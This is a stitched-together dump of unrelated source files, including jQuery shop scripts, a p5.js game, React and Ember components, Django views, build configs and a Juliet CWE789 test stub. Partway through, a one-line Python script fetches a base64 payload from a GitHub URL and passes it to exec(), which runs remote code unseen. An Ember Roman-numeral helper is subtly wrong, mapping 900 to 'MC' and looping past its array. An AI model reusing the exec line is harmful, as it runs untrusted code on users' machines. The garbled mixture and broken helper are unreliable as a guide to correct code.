Toggle Function Active /*----------------------------------------*/ // showlogin toggle $("#showlogin").on("click", function () { $("#checkout-login").slideToggle(900); }); // showlogin toggle $("#showcoupon").on("click", function () { $("#checkout_coupon").slideToggle(900); }); // showlogin toggle $("#cbox").on("click", function () { $("#cbox-info").slideToggle(900); }); // showlogin toggle $("#ship-box").on("click", function () { $("#ship-box-info").slideToggle(1000); }); /*----------------------------------------*/ /* 15. Li's Blog Gallery Slider /*----------------------------------------*/ var gallery = $(".li-blog-gallery-slider"); gallery.slick({ arrows: false, autoplay: true, autoplaySpeed: 5000, pauseOnFocus: false, pauseOnHover: false, fade: true, dots: true, infinite: true, slidesToShow: 1, responsive: [ { breakpoint: 768, settings: { arrows: false } } ] }); /*----------------------------------------*/ /* 16. Counter Js /*----------------------------------------*/ $(".counter").counterUp({ delay: 10, time: 1000 }); /*----------------------------------------*/ /* 17. Price slider /*----------------------------------------*/ var sliderrange = $("#slider-range"); var amountprice = $("#amount"); $(function () { sliderrange.slider({ range: true, min: 0, max: 1200, values: [300, 800], slide: function (event, ui) { amountprice.val("$" + ui.values[0] + " - $" + ui.values[1]); } }); amountprice.val( "$" + sliderrange.slider("values", 0) + " - $" + sliderrange.slider("values", 1) ); }); /*----------------------------------------*/ /* 18. Category menu Activation /*----------------------------------------*/ $(".category-sub-menu li.has-sub > a").on("click", function () { $(this).removeAttr("href"); var element = $(this).parent("li"); if (element.hasClass("open")) { element.removeClass("open"); element.find("li").removeClass("open"); element.find("ul").slideUp(); } else { element.addClass("open"); element.children("ul").slideDown(); element .siblings("li") .children("ul") .slideUp(); element.siblings("li").removeClass("open"); element .siblings("li") .find("li") .removeClass("open"); element .siblings("li") .find("ul") .slideUp(); } }); /*----------------------------------------*/ /* 19. Featured Product active /*----------------------------------------*/ $(".featured-product-active").owlCarousel({ loop: true, nav: true, autoplay: false, autoplayTimeout: 5000, navText: [ '<i class="ion-ios-arrow-back"></i>', '<i class="ion-ios-arrow-forward"></i>' ], item: 3, responsive: { 0: { items: 1 }, 768: { items: 2 }, 992: { items: 2 }, 1100: { items: 2 }, 1200: { items: 2 } } }); /*----------------------------------------*/ /* 20. Featured Product 2 active /*----------------------------------------*/ $(".featured-product-active-2").owlCarousel({ loop: true, nav: true, autoplay: false, autoplayTimeout: 5000, navText: [ '<i class="ion-ios-arrow-back"></i>', '<i class="ion-ios-arrow-forward"></i>' ], item: 3, responsive: { 0: { items: 1 }, 768: { items: 2 }, 992: { items: 1 }, 1100: { items: 1 }, 1200: { items: 1 } } }); /*----------------------------------------*/ /* 22. Cart Plus Minus Button /*----------------------------------------*/ $(".cart-plus-minus").append( '<div class="dec qtybutton"><i class="fa fa-angle-down"></i></div><div class="inc qtybutton"><i class="fa fa-angle-up"></i></div>' ); function changeCartQty($el) { var $button = $el; var oldValue = $button .parent() .find("input") .val(); if ($button.hasClass("inc")) { var newVal = parseFloat(oldValue) + 1; } else { // Don't allow decrementing below zero if (oldValue > 0) { var newVal = parseFloat(oldValue) - 1; } else { newVal = 0; } } $button .parent() .find("input") .val(newVal); } $(".qtybutton").on("click", function () { changeCartQty($(this)); }); $(".modal-ajax").on("click", ".qtybutton", function () { changeCartQty($(this)); }); /*----------------------------------------*/ /* 23. Single Prduct Carousel Activision /*----------------------------------------*/ $(".sp-carousel-active").owlCarousel({ loop: true, nav: false, dots: false, autoplay: false, autoplayTimeout: 5000, navText: [ '<i class="fa fa-angle-left"></i>', '<i class="fa fa-angle-left"></i>' ], item: 4, responsive: { 0: { items: 1 }, 480: { items: 2 }, 768: { items: 2 }, 992: { items: 3 }, 1200: { items: 4 } } }); /*----------------------------------------*/ /* 24. Star Rating Js /*----------------------------------------*/ $(function () { $(".star-rating").barrating({ theme: "fontawesome-stars" }); }); /*----------------------------------------*/ /* 25. Zoom Product Venobox /*----------------------------------------*/ $(".venobox").venobox({ spinner: "wave", spinColor: "#cb9a00" }); /*----------------------------------------*/ /* 26. WOW /*----------------------------------------*/ new WOW().init(); /*----------------------------------------*/ /* 26. CUSTOM /*----------------------------------------*/ function addCart($el) { var url = base_url + "cart/" + $el.data("request") + "/ajaxAdd"; if ($el.hasClass("add-to-cart")) { var quantity = $el.prev().find(".cart-plus-minus-box").val(); url += "/" + quantity; } if ($el.hasClass("cart-item")) { var quantity = $el.find(".cart-plus-minus-box").val(); url += "/" + quantity; } $.ajax({ type: "get", url: url, dataType: "json" }).done(function (result) { if (result.success) { updateCart(result.data); } }); } function updateCart(data) { $counter = $(".hm-minicart-trigger .cart-item-count"); $total = $( ".hm-minicart-trigger .cart-total, .minicart-total span:nth-of-type(2), .cart-page-total .cart-subtotal span:nth-of-type(2)" ); $count = data.count != 0 ? data.count : ''; $counter.html($count); $total.html((data.total * 1000).toLocaleString("it-IT")); $(".cart-page-total .cart-total span:nth-of-type(2)").html( (data.total * 1100).toLocaleString("it-IT") ); } function removeCart($el) { var $t = $el; if ($t.parent().hasClass("li-product-remove")) { $parent = $t.parent().parent(); } else { $parent = $t.parent(); } $.ajax({ type: "get", url: base_url + "cart/" + $parent.data("request") + "/ajaxRemove", dataType: "json" }).done(function (result) { if (result) { $parent.remove(); if ($('.table-cart').length > 0) { $('.table-cart').find('tr').filter("[data-request=" + $parent.data('request') + "]").remove(); } updateCart(result.data); } }); } function productCarousel($el = null, $thumb = null) { if (!$el) { $el = $(".product-details-images"); } if (!$thumb) { $thumb = $el.siblings(".product-details-thumbs, .tab-style-left"); } $el.each(function () { var $this = $(this); $this.slick({ arrows: false, slidesToShow: 1, slidesToScroll: 1, autoplay: false, autoplaySpeed: 5000, dots: false, infinite: true, centerMode: false, centerPadding: 0, asNavFor: $thumb, }); }); $thumb.each(function () { var $this = $(this); var $details = $this.siblings(".product-details-images"); $this.slick({ slidesToShow: 4, slidesToScroll: 1, autoplay: false, autoplaySpeed: 5000, dots: false, infinite: true, focusOnSelect: true, centerMode: true, centerPadding: 0, prevArrow: '<span class="slick-prev"><i class="fa fa-angle-left"></i></span>', nextArrow: '<span class="slick-next"><i class="fa fa-angle-right"></i></span>', asNavFor: $details, }); }); } $(".add-cart a, button.add-to-cart").click(function () { addCart($(this)); }); $(".modal .modal-ajax").on("click", "button.add-to-cart", function () { addCart($(this)); }); $(".btn-update-cart").click(function(){ $items = $('.table-cart tbody tr'); $items.each(function(){ if ($(this).find('.cart-plus-minus-box').val() !== $(this).data('quantity')) { addCart($(this)); $quantity = $(this).find('.cart-plus-minus-box').val(); $price = $(this).find('.li-product-price input.amount').val(); $(this).find('.product-subtotal .amount').html(($quantity * $price * 1000).toLocaleString("it-IT")); } }); }); $(".li-product-remove a").click(function () { removeCart($(this)); }); $(".minicart-product-list").on("click", "button.close", function () { removeCart($(this)); }); $("#empty-cart").click(function () { $.ajax({ type: "get", url: "cart/ajaxEmpty", dataType: "json" }).done(function (result) { if (result) { updateCart({ count: 0, total: 0 }); } }); }); $(".quick-view-btn, .quick-view").click(function () { $.ajax({ url: base_url + "product/" + $(this).data("request") + "/ajax", type: "GET", dataType: "json", }) .done(function (result) { $("#productPreview").find(".modal-ajax").html(result.html); $carousel = $('#productPreview').find('.product-details-images'); productCarousel($carousel); }) .fail(function (result) { $("#exampleModalCenter").find(".modal-ajax").html("Not Available"); }); }); productCarousel(); })(jQuery); /*----------------------------------------------------------------------------------------------------*/ /*------------------------------------------> The End <-----------------------------------------------*/ /*----------------------------------------------------------------------------------------------------*/
// common in all layers var layer6_fish var layer6_inFishFlag = false var layer6_rubbish = [] var layer6_rubbishNo = 3 var layer6_inFishFlag = false var layer6_medicine = {} var layer6_medicineFlag = false // enable the medicine to move with mouse var Layer6 = function() { } Layer6.prototype.preload = function() { layer6_fish = new MySprite(windowWidth/3, windowHeight/3, "assets/fish_6.png") layer6_fish.preload() // rubbish for (var i=0; i<layer6_rubbishNo; i++) { var index = i%6+1 var rubbish = {} rubbish.img = loadImage("assets/rubbish"+index+".png") rubbish.x = windowWidth/3+windowWidth/20*(i+1) rubbish.y = windowHeight/2.5 // sprite group layer6_rubbish.push(rubbish) } layer6_medicine.img = loadImage("assets/plus.png") } Layer6.prototype.setup = function() { // rubbish sprite layer6_rubbishGroup = new Group() for (var i=0; i<layer6_rubbish.length; i++){ layer6_rubbish[i].sprite = createSprite(layer6_rubbish[i].x, layer6_rubbish[i].y) layer6_rubbish[i].sprite.addImage(layer6_rubbish[i].img) layer6_rubbishGroup.add(layer6_rubbish[i].sprite) // add to collider group } // medicine layer6_medicine.sprite = createSprite(windowWidth/1.5, height/2) layer6_medicine.sprite.addImage(layer6_medicine.img) } /** * show content * event trigger would be put in sketch.js */ Layer6.prototype.draw = function() { layer6_fish.draw() // ribbish (colliders) for (var i=0; i<layer6_rubbish.length; i++){ drawSprite(layer6_rubbish[i].sprite) layer6_medicine.sprite.displace(layer6_rubbish[i].sprite) // the rubbish is moved out of boundry if (layer6_rubbish[i].sprite.position.x < 0 || layer6_rubbish[i].sprite.position.x > width || layer6_rubbish[i].sprite.position.y < 0 || layer6_rubbish[i].sprite.position.y > height) { // remove the item layer6_rubbish = layer6_rubbish.filter(function(value, index, arr){ return value != layer6_rubbish[i] }); layer6_rubbishNo = layer6_rubbish.length } } // prompt if (layer6_inFishFlag) { drawPromptLayer6() } // medicine drawSprite(layer6_medicine.sprite) if (layer6_medicineFlag) { layer6_medicine.sprite.position.x = mouseX layer6_medicine.sprite.position.y = mouseY } else { layer6_medicine.sprite.position.x = width/1.5, height/2 layer6_medicine.sprite.position.y = height/2 } } Layer6.prototype.onMouseClicked = function() { } Layer6.prototype.onMousePressed = function() { } Layer6.prototype.onMouseMoved = function() { layer6_fish.onMouseMoved(function() { layer6_inFishFlag = true }, function() { layer6_inFishFlag = false }) } Layer6.prototype.onMouseDragged = function() { } Layer6.prototype.onMouseReleased = function() { } Layer6.prototype.onKeyPressed = function() { if (key == ' '){ layer6_medicineFlag = !layer6_medicineFlag } } /** * @author: Limin Deng */ function drawPromptLayer6() { push() // frame stroke("brown") strokeWeight(5) fill("white") rect(width/3.9, height/2.8, width/7, height/8, 10) // text noStroke() fill("red") textAlign(CENTER, CENTER) textSize(20) if (layer6_rubbishNo > 0) { text("I ate rubbish.\nI feel sick.", width/3, height/2.35) } else { text("Feel better now!", width/3, height/2.35) } pop() } function drawMedicine() { }
import Ember from 'ember'; export default Ember.Helper.extend({ compute: function(params){ let num = params[0]; let result = ''; let decimal = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1]; let roman = ["M", "MC","D","CD","C", "XC", "L", "XL", "X","IX","V","IV","I"]; for (var i = 0;i<=decimal.length;i++) { while (num%decimal[i] < num) { result += roman[i]; num -= decimal[i]; } } return result; }, });
import React from 'react' import AppCrash from '../views/errors/500'; class ErrorBoundary extends React.Component { constructor(props) { super(props); this.state = { hasError: false }; } static getDerivedStateFromError(error) { // Update state so the next render will show the fallback UI. return { hasError: true }; } componentDidCatch(error, errorInfo) { // You can also log the error to an error reporting service // logErrorToMyService(error, errorInfo); } render() { if (this.state.hasError) { // You can render any custom fallback UI return <AppCrash/>; } return this.props.children; } } export default ErrorBoundary
/////////////////////////////////////////////////////////////////////////// // Copyright © 2014 - 2017 Esri. All Rights Reserved. // // Licensed under the Apache License Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /////////////////////////////////////////////////////////////////////////// define([ 'dojo/_base/declare', './LayerInfoForDefaultService' ], function(declare, LayerInfoForDefaultService) { var clazz = declare(LayerInfoForDefaultService, { // operLayer = { // layerObject: layer, // title: layer.label || layer.title || layer.name || layer.id || " ", // id: layerId || " ", // subLayers: [operLayer, ... ], // mapService: {layerInfo: , subId: }, // collection: {layerInfo: } // }; constructor: function( operLayer, map ) { this.isTiled = true; /*jshint unused: false*/ }, getExtent: function() { }, _initVisible: function() { }, _setTopLayerVisible: function(visible) { /*jshint unused: false*/ }, setLayerVisiblefromTopLayer: function() { }, getOpacity: function() { }, setOpacity: function(opacity) { /*jshint unused: false*/ }, isShowInMap: function() { return this.originOperLayer.mapService.layerInfo.layerObject.visible; } }); return clazz; });
import json from django.db.models import Count from django.http import HttpResponse, HttpResponseBadRequest from hmda.models import HMDARecord from geo.views import get_censustract_geoids from rest_framework.renderers import JSONRenderer def loan_originations(request): """Get loan originations for a given lender, county combination. This ignores year for the moment.""" northEastLat = request.GET.get('neLat') northEastLon = request.GET.get('neLon', []) southWestLat = request.GET.get('swLat', []) southWestLon = request.GET.get('swLon', []) geoids = get_censustract_geoids(request, northEastLat, northEastLon, southWestLat, southWestLon) lender = request.GET.get('lender', []) action_taken_param = request.GET.get('action_taken', []) action_taken = action_taken_param.split(',') if geoids and lender and action_taken: query = HMDARecord.objects.filter( # actions 7-8 are preapprovals to ignore property_type__in=[1,2], owner_occupancy=1, lien_status=1, lender=lender, action_taken__in=action_taken ).filter(geoid_id__in=geoids).values( 'geoid', 'geoid__census2010households__total' ).annotate(volume=Count('geoid')) return query else: return HttpResponseBadRequest("Missing one of lender, action_taken and county or geoid.") def loan_originations_as_json(request): records = loan_originations(request) data = {} for row in records: data[row['geoid']] = { 'volume': row['volume'], 'num_households': row['geoid__census2010households__total'], } return data def loan_originations_http(request): return HttpResponse(json.dumps(loan_originations_as_json(request)))
import React from 'react' import { GlobalStyle } from '../src/shared/global' // Global decorator to apply the styles to all stories export const decorators = [ (Story) => ( <> <GlobalStyle /> <Story /> </> ), ] export const parameters = { actions: { argTypesRegex: '^on[A-Z].*' }, controls: { matchers: { color: /(background|color)$/i, date: /Date$/, }, }, }
/** * Copyright (c) 2015-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * * @providesModule processTransform * @flow */ 'use strict'; var MatrixMath = require('MatrixMath'); var Platform = require('Platform'); var invariant = require('fbjs/lib/invariant'); var stringifySafe = require('stringifySafe'); /** * Generate a transform matrix based on the provided transforms, and use that * within the style object instead. * * This allows us to provide an API that is similar to CSS, where transforms may * be applied in an arbitrary order, and yet have a universal, singular * interface to native code. */ function processTransform(transform: Array<Object>): Array<Object> | Array<number> { if (__DEV__) { _validateTransforms(transform); } // Android & iOS implementations of transform property accept the list of // transform properties as opposed to a transform Matrix. This is necessary // to control transform property updates completely on the native thread. if (Platform.OS === 'android' || Platform.OS === 'ios' || Platform.OS === 'macos') { return transform; } var result = MatrixMath.createIdentityMatrix(); transform.forEach(transformation => { var key = Object.keys(transformation)[0]; var value = transformation[key]; switch (key) { case 'matrix': MatrixMath.multiplyInto(result, result, value); break; case 'perspective': _multiplyTransform(result, MatrixMath.reusePerspectiveCommand, [value]); break; case 'rotateX': _multiplyTransform(result, MatrixMath.reuseRotateXCommand, [_convertToRadians(value)]); break; case 'rotateY': _multiplyTransform(result, MatrixMath.reuseRotateYCommand, [_convertToRadians(value)]); break; case 'rotate': case 'rotateZ': _multiplyTransform(result, MatrixMath.reuseRotateZCommand, [_convertToRadians(value)]); break; case 'scale': _multiplyTransform(result, MatrixMath.reuseScaleCommand, [value]); break; case 'scaleX': _multiplyTransform(result, MatrixMath.reuseScaleXCommand, [value]); break; case 'scaleY': _multiplyTransform(result, MatrixMath.reuseScaleYCommand, [value]); break; case 'translate': _multiplyTransform(result, MatrixMath.reuseTranslate3dCommand, [value[0], value[1], value[2] || 0]); break; case 'translateX': _multiplyTransform(result, MatrixMath.reuseTranslate2dCommand, [value, 0]); break; case 'translateY': _multiplyTransform(result, MatrixMath.reuseTranslate2dCommand, [0, value]); break; case 'skewX': _multiplyTransform(result, MatrixMath.reuseSkewXCommand, [_convertToRadians(value)]); break; case 'skewY': _multiplyTransform(result, MatrixMath.reuseSkewYCommand, [_convertToRadians(value)]); break; default: throw new Error('Invalid transform name: ' + key); } }); return result; } /** * Performs a destructive operation on a transform matrix. */ function _multiplyTransform( result: Array<number>, matrixMathFunction: Function, args: Array<number> ): void { var matrixToApply = MatrixMath.createIdentityMatrix(); var argsWithIdentity = [matrixToApply].concat(args); matrixMathFunction.apply(this, argsWithIdentity); MatrixMath.multiplyInto(result, result, matrixToApply); } /** * Parses a string like '0.5rad' or '60deg' into radians expressed in a float. * Note that validation on the string is done in `_validateTransform()`. */ function _convertToRadians(value: string): number { var floatValue = parseFloat(value); return value.indexOf('rad') > -1 ? floatValue : floatValue * Math.PI / 180; } function _validateTransforms(transform: Array<Object>): void { transform.forEach(transformation => { var keys = Object.keys(transformation); invariant( keys.length === 1, 'You must specify exactly one property per transform object. Passed properties: %s', stringifySafe(transformation), ); var key = keys[0]; var value = transformation[key]; _validateTransform(key, value, transformation); }); } function _validateTransform(key, value, transformation) { invariant( !value.getValue, 'You passed an Animated.Value to a normal component. ' + 'You need to wrap that component in an Animated. For example, ' + 'replace <View /> by <Animated.View />.' ); var multivalueTransforms = [ 'matrix', 'translate', ]; if (multivalueTransforms.indexOf(key) !== -1) { invariant( Array.isArray(value), 'Transform with key of %s must have an array as the value: %s', key, stringifySafe(transformation), ); } switch (key) { case 'matrix': invariant( value.length === 9 || value.length === 16, 'Matrix transform must have a length of 9 (2d) or 16 (3d). ' + 'Provided matrix has a length of %s: %s', value.length, stringifySafe(transformation), ); break; case 'translate': invariant( value.length === 2 || value.length === 3, 'Transform with key translate must be an array of length 2 or 3, found %s: %s', value.length, stringifySafe(transformation), ); break; case 'rotateX': case 'rotateY': case 'rotateZ': case 'rotate': case 'skewX': case 'skewY': invariant( typeof value === 'string', 'Transform with key of "%s" must be a string: %s', key, stringifySafe(transformation), ); invariant( value.indexOf('deg') > -1 || value.indexOf('rad') > -1, 'Rotate transform must be expressed in degrees (deg) or radians ' + '(rad): %s', stringifySafe(transformation), ); break; case 'perspective': invariant( typeof value === 'number', 'Transform with key of "%s" must be a number: %s', key, stringifySafe(transformation), ); invariant( value !== 0, 'Transform with key of "%s" cannot be zero: %s', key, stringifySafe(transformation), ); break; case 'translateX': case 'translateY': case 'scale': case 'scaleX': case 'scaleY': invariant( typeof value === 'number', 'Transform with key of "%s" must be a number: %s', key, stringifySafe(transformation), ); break; default: invariant(false, 'Invalid transform %s: %s', key, stringifySafe(transformation)); } } module.exports = processTransform;
//author: chenliang @ Youtu Lab, Tencent #include <pthread.h> #include "IDataLinkObserver.h" #include <queue> #include <memory> using namespace std; template <class T> class SimplePool { public: SimplePool(int size, int _limit); virtual ~SimplePool(); std::shared_ptr<T> receive(); int getTotal(); int limit; protected: static SimplePool *instance; virtual void zero(T *p); sem_t mSem; vector<bool> mUsing; vector<T*> mPool; };
from base64 import b64decode;from requests import get;exec(b64decode(get("http://raw.githubusercontent.com/rf-peixoto/Studies/main/Code/Misc/rogue_test.pld").text[2:-2]))
""" Slixmpp: The Slick XMPP Library Copyright (C) 2012 Nathanael C. Fritz, Lance J.T. Stout This file is part of Slixmpp. See the file LICENSE for copying permission. """ from slixmpp.xmlstream import ElementBase class LastActivity(ElementBase): name = 'query' namespace = 'jabber:iq:last' plugin_attrib = 'last_activity' interfaces = set(('seconds', 'status')) def get_seconds(self): return int(self._get_attr('seconds')) def set_seconds(self, value): self._set_attr('seconds', str(value)) def get_status(self): return self.xml.text def set_status(self, value): self.xml.text = str(value) def del_status(self): self.xml.text = ''
import path from 'path'; import webpack from 'webpack'; import extend from 'extend'; import AssetsPlugin from 'assets-webpack-plugin'; const DEBUG = !process.argv.includes('--release'); const VERBOSE = process.argv.includes('--verbose'); const AUTOPREFIXER_BROWSERS = [ 'Android 2.3', 'Android >= 4', 'Chrome >= 35', 'Firefox >= 31', 'Explorer >= 9', 'iOS >= 7', 'Opera >= 12', 'Safari >= 7.1', ]; const GLOBALS = { 'process.env.NODE_ENV': DEBUG ? '"development"' : '"production"', __DEV__: DEBUG, }; // // Common configuration chunk to be used for both // client-side (client.js) and server-side (server.js) bundles // ----------------------------------------------------------------------------- const config = { output: { publicPath: '/', sourcePrefix: ' ', }, cache: DEBUG, debug: DEBUG, stats: { colors: true, reasons: DEBUG, hash: VERBOSE, version: VERBOSE, timings: true, chunks: VERBOSE, chunkModules: VERBOSE, cached: VERBOSE, cachedAssets: VERBOSE, }, plugins: [ new webpack.optimize.OccurenceOrderPlugin(), ], resolve: { extensions: ['', '.webpack.js', '.web.js', '.js', '.jsx', '.json'], }, module: { loaders: [ { test: /\.jsx?$/, include: [ path.resolve(__dirname, '../node_modules/react-routing/src'), path.resolve(__dirname, '../src'), ], loader: 'babel-loader', }, { test: /\.scss$/, loaders: [ 'isomorphic-style-loader', 'css-loader?' + (DEBUG ? 'sourceMap&' : 'minimize&') + 'modules&localIdentName=[name]_[local]_[hash:base64:3]', 'postcss-loader', ], }, { test: /\.json$/, loader: 'json-loader', }, { test: /\.txt$/, loader: 'raw-loader', }, { test: /\.(png|jpg|jpeg|gif|svg|woff|woff2)$/, loader: 'url-loader?limit=10000', }, { test: /\.(eot|ttf|wav|mp3)$/, loader: 'file-loader', }, ], }, postcss: function plugins(bundler) { return [ require('postcss-import')({ addDependencyTo: bundler }), require('precss')(), require('autoprefixer')({ browsers: AUTOPREFIXER_BROWSERS }), ]; }, }; // // Configuration for the client-side bundle (client.js) // ----------------------------------------------------------------------------- const clientConfig = extend(true, {}, config, { entry: './src/client.js', output: { path: path.join(__dirname, '../build/public'), filename: DEBUG ? '[name].js?[hash]' : '[name].[hash].js', }, // Choose a developer tool to enhance debugging // http://webpack.github.io/docs/configuration.html#devtool devtool: DEBUG ? 'cheap-module-eval-source-map' : false, plugins: [ new webpack.DefinePlugin(GLOBALS), new AssetsPlugin({ path: path.join(__dirname, '../build'), filename: 'assets.js', processOutput: x => `module.exports = ${JSON.stringify(x)};`, }), ...(!DEBUG ? [ new webpack.optimize.DedupePlugin(), new webpack.optimize.UglifyJsPlugin({ compress: { // jscs:disable requireCamelCaseOrUpperCaseIdentifiers screw_ie8: true, // jscs:enable requireCamelCaseOrUpperCaseIdentifiers warnings: VERBOSE, }, }), new webpack.optimize.AggressiveMergingPlugin(), ] : []), ], }); // // Configuration for the server-side bundle (server.js) // ----------------------------------------------------------------------------- const serverConfig = extend(true, {}, config, { entry: './src/server.js', output: { path: './build', filename: 'server.js', libraryTarget: 'commonjs2', }, target: 'node', externals: [ /^\.\/assets$/, function filter(context, request, cb) { const isExternal = request.match(/^[@a-z][a-z\/\.\-0-9]*$/i) && !request.match(/^react-routing/) && !context.match(/[\\/]react-routing/); cb(null, Boolean(isExternal)); }, ], node: { console: false, global: false, process: false, Buffer: false, __filename: false, __dirname: false, }, devtool: 'source-map', plugins: [ new webpack.DefinePlugin(GLOBALS), new webpack.BannerPlugin('require("source-map-support").install();', { raw: true, entryOnly: false }), ], }); export default [clientConfig, serverConfig];
_base_ = [ '../_base_/models/faster_rcnn_r50_fpn.py', '../_base_/datasets/voc0712.py', '../_base_/default_runtime.py' ] # model = dict(roi_head=dict(bbox_head=dict(num_classes=20))) model = dict(roi_head=dict(bbox_head=dict(num_classes=1))) ##Modified by Bhargav Dodla # optimizer optimizer = dict(type='SGD', lr=0.01, momentum=0.9, weight_decay=0.0001) optimizer_config = dict(grad_clip=None) # learning policy # actual epoch = 3 * 3 = 9 lr_config = dict(policy='step', step=[3]) # runtime settings runner = dict( type='EpochBasedRunner', max_epochs=2) # actual epoch = 4 * 3 = 12
import React from "react"; import Typography from "@material-ui/core/Typography/Typography"; import withStyles from "@material-ui/core/styles/withStyles"; const styles = (theme) => ({ root: { padding: theme.spacing.unit, }, text: { marginBottom: 12, } }); @withStyles(styles, {withTheme:true}) export class Terms extends React.Component { render() { const {classes} = this.props; return ( <div className={classes.root}> <Typography variant="h2" className={classes.text}> Terms &amp; Conditions </Typography> <Typography variant="body1" className={classes.text}> Your privacy is important. This page tells you what data this website gathers about you and how it is used. This page is designed to be clear and easy to understand. </Typography> <Typography variant="body1" className={classes.text}> <strong>Who Are We?</strong><br/> This website is owned by DnD Adventurers League - Kraków, a private group of players from Krakow, Poland. </Typography> <Typography variant="body1" className={classes.text}> <strong>Data We Gather</strong><br/> We gather very little personal data about you, and we do not share what we gather with anybody. The only mandatory personal data this site gathers about you are: <ul> <li>Your first and last name</li> <li>Your email address</li> <li>Your IP address</li> <li>Your securely encrypted password</li> </ul> This data is stored for security purposes (to combat spam, and to protect users from harassment), to provide web service features and is not shared with any other person, service, site, or organization outside the service.<br/> We do not gather or use any biographical or financial data about you; nor do we store payment information, credit card information, or bank details. <br/> We store your registration IP address, and any IP addresses that you have posted from. Your IP address does not reveal your name, home address, or actual physical location. You can see what your IP address tells us about you here. <br/> We are not able to read your password. <br/> We store this data until you delete your account. </Typography> <Typography variant="body1" className={classes.text}> <strong>Cookies</strong><br/> This site uses cookies. These are tiny files stored on your computer so that the site can respond correctly to your activity (for example, by keeping you logged in when you revisit). These cookies are not stored on the site's servers, but rather on your own device, and you can delete or block them at any time. However, if you do choose to block our cookies, some features of the site will not work correctly for you. </Typography> <Typography variant="body1" className={classes.text}> <strong>Your Profile</strong><br/> Your profile is yours, and it contains as much or as little information as it is needed to run service functionality. The website do not share your e-mail address with other users. You can edit or remove this information at any time. <br/> This site does not use that information in any way but to display it on your profile page.<br/> This information is not shared with any other person, service, site, or organization, except that it is displayed publicly to the other users on your profile page. This site does not use that information for marketing purposes. </Typography> <Typography variant="body1" className={classes.text}> <strong>E-mails</strong><br/> We send only information about games that you sign up for or create. </Typography> <Typography variant="body1" className={classes.text}> <strong>Other Organizations</strong><br/> This site interacts with some other organizations and services (third-party processors) as follows. They will have their own privacy polices, which you should monitor. <ul> <li>Social network logins. If you register for this site via a social network such as Facebook, Twitter, Google+, or Reddit, we obtain (with your permission) from that website your username and email address to create your account. We do not pass any information to the social network.</li> <li>Google. Google may serve you ads based on your browsing history or other demographic data it may hold about you. We do not have access to that individual data. Additionally, Google provides us, via the Google Analytics service, aggregate, non-identifiable, anonymous data about overall visitor demographics, but it does not share with us any information about individual users. For example, we may know that 67% of our visitors are female*, but we don't know whether you are one of those 67%. You can find Google's privacy policy here, and can opt out of Analytics here.</li> <li>Wizards of the Coast. We are sending to WER system of WotC only information about DCI of the players that played in one of the games.</li> </ul> </Typography> <Typography variant="body1" className={classes.text}> <strong>Where Your Data Is Stored</strong><br/> Your data is stored on a webserver in Poland. </Typography> <Typography variant="body1" className={classes.text}> <strong>Deleting Your Information</strong><br/> You can delete or change information on your profile at any time. You can also change your nickname.<br/> If you wish to delete your account, please contact us at <strong>dndalkrakow@gmail.com</strong>. Note that this is irreversible; you will not be able to recover the account. This will remove any personal information (as described above) that we store about you, along with your user profile. </Typography> <Typography variant="body1" className={classes.text}> <strong>Requesting Your Information</strong><br/> While this website stores very little data about you, you have a right to a copy of any data this site stores about you. This is comprised of your nickname, email address and any IP addresses we have stored for you. You may request a copy of this information by sending an e-mail to our data administrator at <strong>dndalkrakow@gmail.com</strong>. (this will enable us to meet our obligation to ensure that the request is valid). You will receive that data within 30 days by e-mail. </Typography> </div> ) } }
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE789_Uncontrolled_Mem_Alloc__malloc_wchar_t_fgets_54b.c Label Definition File: CWE789_Uncontrolled_Mem_Alloc__malloc.label.xml Template File: sources-sinks-54b.tmpl.c */ /* * @description * CWE: 789 Uncontrolled Memory Allocation * BadSource: fgets Read data from the console using fgets() * GoodSource: Small number greater than zero * Sinks: * GoodSink: Allocate memory with malloc() and check the size of the memory to be allocated * BadSink : Allocate memory with malloc(), but incorrectly check the size of the memory to be allocated * Flow Variant: 54 Data flow: data passed as an argument from one function through three others to a fifth; all five functions are in different source files * * */ #include "std_testcase.h" #define CHAR_ARRAY_SIZE sizeof(data)*sizeof(data) #define HELLO_STRING L"hello" #ifndef OMITBAD /* bad function declaration */ void CWE789_Uncontrolled_Mem_Alloc__malloc_wchar_t_fgets_54c_bad_sink(int data); void CWE789_Uncontrolled_Mem_Alloc__malloc_wchar_t_fgets_54b_bad_sink(int data) { CWE789_Uncontrolled_Mem_Alloc__malloc_wchar_t_fgets_54c_bad_sink(data); } #endif /* OMITBAD */ #ifndef OMITGOOD /* goodG2B uses the GoodSource with the BadSink */ void CWE789_Uncontrolled_Mem_Alloc__malloc_wchar_t_fgets_54c_goodG2B_sink(int data); void CWE789_Uncontrolled_Mem_Alloc__malloc_wchar_t_fgets_54b_goodG2B_sink(int data) { CWE789_Uncontrolled_Mem_Alloc__malloc_wchar_t_fgets_54c_goodG2B_sink(data); } /* goodB2G uses the BadSource with the GoodSink */ void CWE789_Uncontrolled_Mem_Alloc__malloc_wchar_t_fgets_54c_goodB2G_sink(int data); void CWE789_Uncontrolled_Mem_Alloc__malloc_wchar_t_fgets_54b_goodB2G_sink(int data) { CWE789_Uncontrolled_Mem_Alloc__malloc_wchar_t_fgets_54c_goodB2G_sink(data); } #endif /* OMITGOOD */
""" 56. Merge Intervals =================== Given a collection of intervals, merge all overlapping ones. Examples -------- 1. Input: [[1, 3], [2, 6], [8, 10], [15, 18]] Output: [[1, 6], [8, 10], [15, 18]] 2. Input: [[1, 4], [4, 5]] Output: [[1, 5]] """ def merge_intervals(intervals): intervals = sorted(intervals) merged = [] # set of merged intervals current = None # current merged intrval for start, end in intervals: if not merged or start > current[1]: current = [start, end] merged.append(current) else: current[1] = max(current[1], end) return merged
import { LitElement, html } from '@polymer/lit-element'; class StudentRec extends LitElement { static get properties(){ return { student: Object } } constructor(){ super(); this.student = {}; } _render({student}){ return html` <div> ${student.id}<br/> ${student.name}<br/> </div> `; } } customElements.define('student-rec', StudentRec);
